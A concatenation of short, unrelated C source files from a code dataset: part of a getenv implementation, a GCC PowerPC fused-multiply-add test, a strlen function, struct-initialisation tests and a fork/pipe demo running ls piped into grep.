char *__findenv(const char *, int *);
/*
* getenv --
* Returns ptr to value associated with name, if any, else NULL.
*/
char *
getenv(name)
const char *name;
{
int offset;
return (__findenv(name, &offset));
}
/*
* __findenv --
* Returns pointer to value associated with name, if any, else NULL.
* Sets offset to be the offset of the name/value combination in the
* environmental array, for use by setenv(3) and unsetenv(3).
* Explicitly removes '=' in argument name.
*
* This routine *should* be a static; don't use it.
*/
char *
__findenv(name, offset)
const char *name;
int *offset;
{
size_t len;
const char *np;
char **p, *c;
if (name == NULL || environ == NULL)
return (NULL);
for (np = name; *np && *np != '='; ++np)
continue;
len = np - name;
for (p = environ; (c = *p) != NULL; ++p)
if (strncmp(c, name, len) == 0 && c[len] == '=') {
*offset = p - environ;
return (c + len + 1);
}
return (NULL);
}
|
the_stack_data/89200198.c | /* { dg-do compile { target { powerpc*-*-* } } } */
/* { dg-skip-if "" { powerpc*-*-darwin* } { "*" } { "" } } */
/* { dg-require-effective-target powerpc_altivec_ok } */
/* { dg-require-effective-target powerpc_fprs } */
/* { dg-skip-if "do not override -mcpu" { powerpc*-*-* } { "-mcpu=*" } { "-mcpu=power6" } } */
/* { dg-options "-O3 -ftree-vectorize -mcpu=power6 -maltivec -ffast-math" } */
/* { dg-final { scan-assembler-times "vmaddfp" 2 } } */
/* { dg-final { scan-assembler-times "fmadd " 2 } } */
/* { dg-final { scan-assembler-times "fmadds" 2 } } */
/* { dg-final { scan-assembler-times "fmsub " 1 } } */
/* { dg-final { scan-assembler-times "fmsubs" 1 } } */
/* { dg-final { scan-assembler-times "fnmadd " 1 } } */
/* { dg-final { scan-assembler-times "fnmadds" 1 } } */
/* { dg-final { scan-assembler-times "fnmsub " 1 } } */
/* { dg-final { scan-assembler-times "fnmsubs" 1 } } */
/* All functions should generate an appropriate (a * b) + c instruction
since -mfused-madd is on by default. */
double
builtin_fma (double b, double c, double d)
{
return __builtin_fma (b, c, d); /* fmadd */
}
double
builtin_fms (double b, double c, double d)
{
return __builtin_fma (b, c, -d); /* fmsub */
}
double
builtin_fnma (double b, double c, double d)
{
return - __builtin_fma (b, c, d); /* fnmadd */
}
double
builtin_fnms (double b, double c, double d)
{
return - __builtin_fma (b, c, -d); /* fnmsub */
}
float
builtin_fmaf (float b, float c, float d)
{
return __builtin_fmaf (b, c, d); /* fmadds */
}
float
builtin_fmsf (float b, float c, float d)
{
return __builtin_fmaf (b, c, -d); /* fmsubs */
}
float
builtin_fnmaf (float b, float c, float d)
{
return - __builtin_fmaf (b, c, d); /* fnmadds */
}
float
builtin_fnmsf (float b, float c, float d)
{
return - __builtin_fmaf (b, c, -d); /* fnmsubs */
}
double
normal_fma (double b, double c, double d)
{
return (b * c) + d; /* fmadd */
}
float
normal_fmaf (float b, float c, float d)
{
return (b * c) + d; /* fmadds */
}
#ifndef SIZE
#define SIZE 1024
#endif
float vfa[SIZE] __attribute__((__aligned__(32)));
float vfb[SIZE] __attribute__((__aligned__(32)));
float vfc[SIZE] __attribute__((__aligned__(32)));
float vfd[SIZE] __attribute__((__aligned__(32)));
void
vector_fmaf (void)
{
int i;
for (i = 0; i < SIZE; i++)
vfa[i] = __builtin_fmaf (vfb[i], vfc[i], vfd[i]); /* vaddfp */
}
void
vnormal_fmaf (void)
{
int i;
for (i = 0; i < SIZE; i++)
vfa[i] = (vfb[i] * vfc[i]) + vfd[i]; /* vaddfp */
}
|
the_stack_data/612169.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strlen.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mdesalle <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/05/20 11:10:52 by mdesalle #+# #+# */
/* Updated: 2021/05/31 10:00:46 by mdesalle ### ########.fr */
/* */
/* ************************************************************************** */
/*
* parses the given string and counts with the len integer
*/
int ft_strlen(char *str)
{
int len;
len = 0;
while (str[len])
len++;
return (len);
}
/* TESTER CODE
#include <stdio.h>
int main(void)
{
char *str;
str = "123456789";
printf("%d\n", ft_strlen(str));
return (0);
}*/
|
the_stack_data/583002.c | int main() {
int a = 0;
for (int i = 0; i < 5; ++i) {
for (int j = 0 ; j < 10; j++) {
a += j;
}
a -= i;
}
return a;
}
|
the_stack_data/425835.c | /*
* Copyright (c) [2020-2021] Huawei Technologies Co.,Ltd.All rights reserved.
*
* OpenArkCompiler is licensed under Mulan PSL v2.
* You can use this software according to the terms and conditions of the Mulan PSL v2.
* You may obtain a copy of Mulan PSL v2 at:
*
* http://license.coscl.org.cn/MulanPSL2
*
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR
* FIT FOR A PARTICULAR PURPOSE.
* See the Mulan PSL v2 for more details.
*/
#include <stdio.h>
#include <stddef.h>
struct Str2 {
short c;
int e;
};
struct Str1 {
int a;
double b;
char ch[2];
struct Str2 d;
};
int main() {
// printf("%c", myStr1.ch[0]) not support temporarily
struct Str1 myStr1 = {1, 1.5, {'a', 'b'}, {2, 3}};
printf("%d:%f:%hd:%d\n", myStr1.a, myStr1.b, myStr1.d.c, myStr1.d.e);
struct Str2 myStr2 = {4, 5};
struct Str1 myStr3 = {1, 1.5, {'a', 'b'}, .d = myStr2};
printf("%d:%f:%hd:%d\n", myStr3.a, myStr3.b, myStr3.d.c, myStr3.d.e);
struct Str1 myStr4 = {1, 1.5, {'a', 'b'}, .d = myStr2, .d.c = 6, .d.e = 7};
printf("%d:%f:%hd:%d\n", myStr4.a, myStr4.b, myStr4.d.c, myStr4.d.e);
struct Str1 myStr5 = {1, 1.5, {'a', 'b'}, .d = myStr2, .d.c = 8};
printf("%d:%f:%hd:%d\n", myStr5.a, myStr5.b, myStr5.d.c, myStr5.d.e);
struct Str2 myStr6 = (struct Str2){9, 10};
printf("%hd:%d\n", myStr6.c, myStr6.e);
size_t lenA = offsetof(struct Str1, a);
printf("%ld\n", lenA);
size_t lenB = offsetof(struct Str1, b);
printf("%ld\n", lenB);
size_t lenCh = offsetof(struct Str1, ch);
printf("%ld\n", lenCh);
size_t lenD = offsetof(struct Str1, d);
printf("%ld\n", lenD);
return 0;
}
|
the_stack_data/92326382.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
int p[2];
char *excargv[3];
pipe(p);
if(fork() == 0) {
printf("Left Child\n");
dup2(p[1], 1); // dup pipe write end on top of stdout
close(p[0]); // close pipe fd's
close(p[1]);
excargv[0] = "ls";
excargv[1] = 0;
execvp(excargv[0], excargv);
printf("HERE\n");
}
else {
if (fork() == 0) {
printf("Right Child\n");
dup2(p[0], 0); // dup pipe read end on top of stdin
close(p[0]); // close pipe fd's
close(p[1]);
excargv[0] = "grep";
if (argc == 2)
excargv[1] = argv[1];
else
excargv[1] = "p1";
excargv[2] = 0;
execvp(excargv[0], excargv);
}
else {
printf("Parent\n");
close(p[0]);
close(p[1]);
wait(NULL);
wait(NULL);
}
}
return 0;
}
|
Subsets and Splits